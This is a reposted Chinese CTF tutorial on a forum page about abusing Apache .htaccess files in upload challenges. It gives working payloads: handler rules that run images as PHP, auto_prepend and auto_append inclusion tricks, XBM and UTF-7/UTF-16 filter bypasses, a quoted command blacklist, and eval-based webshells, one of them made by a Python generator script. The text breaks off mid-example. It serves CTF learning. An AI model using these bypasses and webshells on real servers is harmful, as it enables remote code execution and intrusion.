搜索

[21362] 2020-10-31_CTF丨.htaccess文件的利用，没有比它更全面的文章了！

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2020-10-31_CTF丨.htaccess文件的利用，没有比它更全面的文章了！ C T F 丨 . h t a c c e s s 文 件 的 利 用 ， 没 有 比 它 更 全 面 的 文 章 了 ！ 转 自 i 春 秋   L e m o n S e c   2 0 2 0 - 1 0 - 3 1 . h t a c c e s s 文 件 是 A p a c h e 服 务 器 中 的 一 个 配 置 文 件 ， 它 负 责 相 关 目 录 下 的 网 页 配 置 。 通 过 . h t a c c e s s 文 件 ， 可 以 改 变 所 在 文 件 夹 和 子 文 件 下 的 p h p . i n i 配 置 。 在 C T F 赛 题 中 ， 如 果 能 够 上 传 或 者 写 入 一 个 . h t a c c e s s ， 就 可 以 做 到 绕 过 W A F 、 文 件 包 含 等 操 作 ， 笔 者 之 前 参 加 比 赛 时 看 到 过 . h t a c c e s s 文 件 的 利 用 ， 于 是 将 各 种 用 法 总 结 出 来 分 享 给 大 家 ， 希 望 有 所 帮 助 。 本 文 是   i   春 秋 论 坛 作 家 「 k a w h i 」 表 哥 原 创 的 技 术 文 章 分 享 ， 公 众 号 旨 在 为 大 家 提 供 更 多 的 学 习 方 法 与 技 能 技 巧 ， 文 章 仅 供 学 习 参 考 。 . h t a c c e s s 文 件 是 默 认 开 启 的 ， 如 果 没 有 启 动 . h t a c c e s s 文 件 的 话 ， 需 要 修 改 配 置 文 件 h t t p d . c o n f 中 的 以 下 两 点 ： 把 A l l o w O v e r r i d e   N o n e 修 改 为 ： A l l o w O v e r r i d e   A l l ； 把 L o a d M o d u l e   r e w r i t e _ m o d u l e   m o d u l e s / m o d _ r e w r i t e . s o 这 句 话 前 面 的 # 去 掉 。 . h t a c c e s s 任 意 文 件 解 析 任 意 文 件 解 析 在 C T F 中 . h t a c c e s s 文 件 最 常 用 的 地 方 就 是 文 件 上 传 题 目 ， 如 果 题 目 中 使 用 的 是 黑 名 单 机 制 ， 即 限 制 上 传 p h p ， p t h m l ， p h t 等 后 缀 ， 我 们 可 以 使 用 . h t a c c e s s 文 件 重 新 配 置 当 前 文 件 的 解 析 后 缀 ， 为 其 他 后 缀 绕 过 导 致 其 他 后 缀 的 文 件 被 解 析 为 p h p ， 就 可 以 导 致 远 程 代 码 执 行 。 A d d T y p e
比 如 在 u p l o a d - l a b s 的 第 四 关 就 可 以 使 用 这 种 方 法 绕 过 ， 首 先 是 限 制 了 p h p 的 后 缀 ， 如 图 所 示 s h e l l . p h p 不 允 许 上 传 。 但 是 题 目 并 没 有 限 制 . h t a c c e s s 文 件 的 上 传 ， 可 以 上 传 一 个 . h t a c c e s s 文 件 内 容 如 下 ： A d d T y p e 可 以 指 示 文 件 管 理 系 统 ， 对 指 定 后 缀 文 件 以 选 定 的 文 件 类 型 解 析 ， 整 句 话 的 作 用 就 是 让 j p g 格 式 的 文 件 解 析 为 p h p 文 件 。 上 传 完 . h t a c c e s s 文 件 之 后 再 上 传 一 个 写 入 一 句 话 木 马 的 s h e l l . j p g 文 件 ， 尝 试 连 接 蚁 剑 。 A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . j p g
发 现 已 经 成 功 连 接 上 了 ， 说 明 我 们 上 传 的 . h t a c c e s s 文 件 已 经 成 功 让 j p g 格 式 的 文 件 解 析 为 p h p 了 。 A d d H a n d l e r 除 了 A d d T y p e 之 外 还 有 A d d H a n d l e r ， 我 们 想 将 t x t 文 件 后 缀 解 析 为 p h p 运 行 ， 可 以 在 . h t a c c e s s 中 写 下 以 下 两 行 的 其 中 一 行 。 A d d H a n d l e r   p h p 5 - s c r i p t   . t x t A d d H a n d l e r   p h p 7 - s c r i p t   . t x t 意 思 是 指 定 扩 展 名 为 . p h p   的 文 件 应 被 p h p 5 - s r c i p t / p h p 7 - s r c i p t 处 理 器 来 处 理 。 可 以 看 到 写 入 前 后 的 对 比 ， 后 者 成 功 把 t x t 文 件 解 析 为 p h p 文 件 。 一 般 这 种 可 以 配 合 着 其 他 的 语 句 来 使 用 ， 比 如 说 [ d e 1 c t f   2 0 2 0 ] C h e c k   i n 的 这 道 题 ， 过 滤 了 如 下 黑 名 单 ： 我 们 可 以 上 传 一 个 . h t a c c e s s 内 容 如 下 ， 主 要 让 t x t 文 件 解 析 为 p h p 文 件 ， 再 把 f l a g 包 含 进 来 。 p e r l | p y t h | p h | a u t o | c u r l | b a s e | > | r m | r u b y | o p e n s s l | w a r | l u a | m s f | x t e r | t e l n e t A d d H a n d l e r   p h p 5 - s c r i p t   . t x t p h p _ v a l u e   a u t o _ a p p e n d _ f i l e   / f l a g
再 上 传 一 个 1 . t x t 就 能 加 载 / f l a g 内 容 。 不 过 这 里 涉 及 到 了 . h t a c c e s s 的 换 行 绕 过 和 文 件 包 含 ， 下 面 都 会 提 到 。 S e t H a n d l e r . h t a c c e s s 文 件 解 析 还 有 另 外 一 种 常 见 写 法 就 是 利 用 S e t H a n d l e r ， 文 件 内 容 如 下 ： 这 样 所 有 文 件 都 会 当 成 p h p 来 解 析 ， 如 果 要 指 定 某 一 个 类 型 文 件 的 话 ， 可 以 写 ： 将 s h e l l . j p g 解 析 为 p h p 文 件 ， 同 时 这 里 可 以 使 用 正 则 匹 配 文 件 比 如 ： 就 是 匹 配 所 有 的 . p h 开 头 的 后 缀 文 件 。 S e t H a n d l e r 还 有 一 种 用 法 就 是 在 . h t a c c e s s 写 入 ： 然 后 再 访 问 h t t p : / / i p / s e r v e r - s t a t u s 即 可 查 看 所 有 访 问 本 站 的 记 录 ， [ d e 1 c t f   2 0 2 0 ] C h e c k   i n 这 道 题 的 官 方 w p 中 提 到 了 这 种 方 式 去 获 取 信 息 。 . h t a c c e s s 的 一 些 绕 过 的 一 些 绕 过 绕 过 关 键 字 绕 过 关 键 字 像 上 面 的 u p l o a d - l a b s 的 第 四 关 内 容 中 如 果 过 滤 了 a p p l i c a t i o n 关 键 字 ， 因 为 . h t a c c e s s 支 持 换 行 编 写 ， 我 们 可 以 使 用 反 斜 杠 换 行 绕 过 的 方 法 ， 如 ： 绕 过 绕 过 e x i f _ i m a g e t y p e 函 数 函 数 S e t H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p < F i l e s M a t c h   " s h e l l . j p g " >         S e t H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p < / F i l e s M a t c h > < F i l e s M a t c h   " . p h . * $ " >     S e t H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p < / F i l e s M a t c h > S e t H a n d l e r   s e r v e r - s t a t u s A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . j p g
e x i f _ i m a g e t y p e (   )   的 作 用 是 读 取 一 个 图 像 的 第 一 个 字 节 并 检 查 其 签 名 。 比 如 [ S U C T F   2 0 1 9 ] E a s y W e b 这 道 题 就 有 这 个 函 数 ， 关 键 代 码 如 下 ： 要 注 意 的 是 通 常 我 们 会 在 上 传 文 件 中 加 上 g i f 的 文 件 头 G I F 8 9 a 去 绕 过 ， 但 是 . h t a c c e s s 文 件 用 这 种 方 法 虽 然 能 上 传 成 功 ， 但 是 无 法 生 效 。 我 们 可 以 在 . h t a c c e s s 文 件 前 面 加 上 ： 这 里 的 原 理 其 实 是 伪 造 为 x b m 文 件 ， x b m 文 件 是 一 种 图 片 格 式 的 文 件 。 在 p h p 的 官 方 文 档 中 ， e x i f _ i m a g e t y p e (   ) 是 可 以 支 持 x b m 类 型 的 文 件 的 。 绕 过 拼 接 字 符 绕 过 拼 接 字 符 比 如 近 期 的 一 道 题 目 ， 其 中 部 分 代 码 如 下 ： 这 一 题 的 思 路 是 利 用 . h t a c c e s s 文 件 把 恶 意 代 码 包 含 进 i n d e x . p h p 里 面 ， 但 是 在 变 量 $ c o n t e n t 后 面 拼 接 了 一 个 " n H e l l o ,   w o r l d " ， 这 样 的 话 会 不 符 合 . h t a c c e s s 文 件 的 语 法 ， 导 致 服 务 器 报 一 个 5 0 0 错 误 ， 这 时 候 我 们 可 以 使 用 反 斜 杠 先 把 n 转 义 ， 再 在 加 入 的 恶 意 代 码 前 面 加 上 一 个 # 注 释 掉 后 面 的 内 容 ， 这 样 的 话 就 可 以 绕 过 " n H e l l o ,   w o r l d " ， 从 而 使 得 . h t a c c e s s 符 合 语 法 。 $ t m p _ n a m e   =   $ _ F I L E S [ " f i l e " ] [ " t m p _ n a m e " ] ; i f ( ! e x i f _ i m a g e t y p e ( $ t m p _ n a m e ) )   d i e ( " ^ _ ^ " ) ; # d e f i n e   4 c 1 1 f 3 8 7 6 d 4 9 4 2 1 8 f f 3 2 7 e 3 c a 6 a c 8 2 4 f _ w i d t h   x x x ( 大 小 ) # d e f i n e   4 c 1 1 f 3 8 7 6 d 4 9 4 2 1 8 f f 3 2 7 e 3 c a 6 a c 8 2 4 f _ h e i g h t   x x x ( 大 小 ) f i l e _ p u t _ c o n t e n t s ( $ f i l e n a m e ,   $ c o n t e n t   .   " n H e l l o ,   w o r l d " ) ;
最 终 p a y l o a d 结 果 如 下 ： 这 里 要 注 意 的 是 在 传 参 的 时 候 都 是 要 u r l 编 码 的 。 . h t a c c e s s 的 常 见 用 法 的 常 见 用 法 首 先 了 解 一 下 p h p _ v a l u e 和 p h p _ f l a g ： p h p _ v a l u e ： 设 定 指 定 的 值 ， 但 不 能 设 定 布 尔 值 ； p h p _ f l a g ： 用 来 设 定 布 尔 值 的 配 置 指 令 。 这 两 个 可 以 用 来 设 置 指 令 的 值 ， 使 得 在 A p a c h e 配 置 文 件 内 部 修 改 P H P 的 配 置 ， 那 么 这 些 指 令 有 哪 些 呢 ， 比 如 说 a u t o _ p r e p e n d _ f i l e ， d i s p l a y _ e r r o r s 等 等 ， 具 体 的 话 参 考 官 方 给 出 的 ： p h p . i n i   配 置 选 项 列 表 当 然 上 面 说 的 这 两 个 都 是 可 以 用 于 . h t a c c e s s 中 的 ， 同 样 功 能 的 还 有 p h p _ a d m i n _ v a l u e 和 p h p _ a d m i n _ f l a g ， 但 是 这 两 个 无 法 用 于 . h t a c c e s s 中 。 下 面 介 绍 两 个 最 常 见 的 用 法 ： 特 殊 编 码 绕 过 特 殊 编 码 绕 过 如 果 对 文 件 内 容 进 行 过 滤 了 < ? ， 同 时 版 本 p h p 7 已 经 抛 弃 了 < s c r i p t   l a n g u a g e = ' p h p ' > 和 < % ， 使 得 我 们 无 法 利 用 p h p 其 他 风 格 的 标 签 去 绕 过 。 这 里 可 以 考 虑 在 . h t a c c e s s 中 设 置 U T F - 7 字 符 或 者 其 他 字 符 进 行 绕 过 。 我 们 可 以 先 上 传 一 个 s h e l l . j p g 内 容 如 下 ： 第 三 句 是 经 过 U T F - 7 编 码 的 ， 在 线 U T F - 7 编 码 ： U T F - 7   E n c o d e r 。 我 们 接 下 来 要 做 的 就 是 利 用 . h t a c c e s s 文 件 把 他 进 行 U T F - 7 解 码 。 我 们 再 写 入 一 个 . h t a c c e s s 文 件 内 容 如 下 ： p h p _ v a l u e   a u t o _ p r e p e n d _ f i l e   . h t a c c e s s # & f i l e n a m e = . h t a c c e s s # d e f i n e   4 c 1 1 f 3 8 7 6 d 4 9 4 2 1 8 f f 3 2 7 e 3 c a 6 a c 8 2 4 f _ w i d t h   1 3 3 7 # d e f i n e   4 c 1 1 f 3 8 7 6 d 4 9 4 2 1 8 f f 3 2 7 e 3 c a 6 a c 8 2 4 f _ h e i g h t   1 3 3 7 + A D w ? p h p   + A E A - e v a l ( + A C Q A X w - P O S T + A F s ' c m d ' + A F 0 ) + A D s ? + A D 4 -
前 3 行 在 上 面 已 经 讲 过 ， 这 里 不 再 赘 述 。 第 4 行 中 的 p h p _ f l a g ， 后 面 跟 着 d i s p l a y _ e r r o r s   o n ， 本 句 的 作 用 是 关 闭 错 误 提 示 ， 也 就 是 差 不 多 相 当 于 e r r o r _ r e p o r t i n g ( 0 ) ； 第 5 行 中 的 p h p _ f l a g ， 把 z e n d . m u l t i b y t e 的 值 设 置 为 1 ， 原 因 是 在 使 用   U T F - 7 、 S J I S 、 B I G 5   等 在 多 字 节 字 符 串 数 据 中 包 含 特 殊 字 符 的 字 符 编 码 是 要 启 用 z e n d . m u l t i b y t e 的 ， 如 果 是 U T F - 8 编 码 的 话 则 不 需 要 这 个 选 项 。 最 后 一 句 是 关 键 点 了 ， p h p _ v a l u e 中 设 置 了 z e n d . s c r i p t _ e n c o d i n g   " U T F - 7 " ， 本 句 的 作 用 是 对 上 传 的 文 件 进 行 一 个 U T F - 7 的 解 码 。 这 里 我 直 接 在 本 地 p h p s t u d y 直 接 写 入 . h t a c c e s s 和 s h e l l . j p g ， 测 试 了 一 下 是 可 行 的 ： 要 注 意 的 是 ， 在 本 地 p h p s t u d y 写 入 . h t a c c e s s 文 件 的 话 ， p h p 的 版 本 要 选 择 不 带 n t s 的 。 在 [ S U C T F   2 0 1 9 ] E a s y W e b 这 道 题 里 面 就 可 以 用 到 这 个 方 法 ， 但 不 局 限 于 这 种 ， 在 看 其 他 师 傅 的 w r i t e u p 中 ， 发 现 本 题 也 可 以 通 过 设 置 u t f - 1 6 b e 来 进 行 绕 过 ， 这 里 借 用 一 下 网 上 的 一 键 生 成 . h t a c c e s s 脚 本 。 # d e f i n e   4 c 1 1 f 3 8 7 6 d 4 9 4 2 1 8 f f 3 2 7 e 3 c a 6 a c 8 2 4 f _ w i d t h   1 3 3 7 # d e f i n e   4 c 1 1 f 3 8 7 6 d 4 9 4 2 1 8 f f 3 2 7 e 3 c a 6 a c 8 2 4 f _ h e i g h t   1 3 3 7 A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . j p g p h p _ f l a g   d i s p l a y _ e r r o r s   o n p h p _ f l a g   z e n d . m u l t i b y t e   1 p h p _ v a l u e   z e n d . s c r i p t _ e n c o d i n g   " U T F - 7 "
进 行 文 件 包 含 进 行 文 件 包 含 在 刚 刚 提 到 的 p h p _ v a l u e 的 指 令 中 ， 也 就 是 p h p . i n i 中 有 两 项 ： 在 所 有 页 面 的 顶 部 与 底 部 r e q u i r e 文 件 a u t o _ p r e p e n d _ f i l e   在 页 面 顶 部 加 载 文 件 a u t o _ a p p e n d _ f i l e   在 页 面 底 部 加 载 文 件 我 们 可 以 利 用 这 个 将 1 . p h p 文 件 包 含 进 所 有 的 p h p 页 面 S I Z E _ H E A D E R   =   b " n n # d e f i n e   w i d t h   1 3 3 7 n # d e f i n e   h e i g h t   1 3 3 7 n n " d e f   g e n e r a t e _ p h p _ f i l e ( f i l e n a m e ,   s c r i p t ) :         p h p f i l e   =   o p e n ( f i l e n a m e ,   ' w b ' )         p h p f i l e . w r i t e ( s c r i p t . e n c o d e ( ' u t f - 1 6 b e ' ) )         p h p f i l e . w r i t e ( S I Z E _ H E A D E R )         p h p f i l e . c l o s e ( ) d e f   g e n e r a t e _ h t a c e s s ( ) :         h t a c c e s s   =   o p e n ( ' . h t a c c e s s ' ,   ' w b ' )         h t a c c e s s . w r i t e ( S I Z E _ H E A D E R )         h t a c c e s s . w r i t e ( b ' A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . l e t h e n ' )         h t a c c e s s . w r i t e ( b ' p h p _ v a l u e   z e n d . m u l t i b y t e   1 n ' )         h t a c c e s s . w r i t e ( b ' p h p _ v a l u e   z e n d . d e t e c t _ u n i c o d e   1 n ' )         h t a c c e s s . w r i t e ( b ' p h p _ v a l u e   d i s p l a y _ e r r o r s   1 n ' )         h t a c c e s s . c l o s e ( ) g e n e r a t e _ h t a c e s s ( ) g e n e r a t e _ p h p _ f i l e ( " s h e l l . l e t h e " ,   " < ? p h p   e v a l ( $ _ G E T [ ' c m d ' ] ) ;   d i e ( ) ;   ? > " ) p h p _ v a l u e   a u t o _ p r e p e n d _ f i l e   1 . p h p
可 以 看 到 1 . p h p 成 功 包 含 进 去 s h e l l . p h p 里 面 了 。 这 里 我 们 甚 至 可 以 利 用 伪 协 议 配 合 做 一 个 编 码 ， . h t a c c e s s 如 下 ： 把 s h e l l . j p g 进 行 b a s e 6 4 解 码 后 再 包 含 进 所 有 的 p h p 页 面 。 A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . j p g p h p _ v a l u e   a u t o _ a p p e n d _ f i l e   " p h p : / / f i l t e r / c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = s h e l l . j p g "
如 图 可 以 看 到 在 1 . p h p 页 面 已 经 可 以 看 到 s h e l l . j p g 的 p h p i n f o 了 。 以 这 道 题 目 为 例 子 ， 原 题 是 X - N U C A ' 2 0 1 9 — E z p h p 。 题 目 的 源 码 为 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理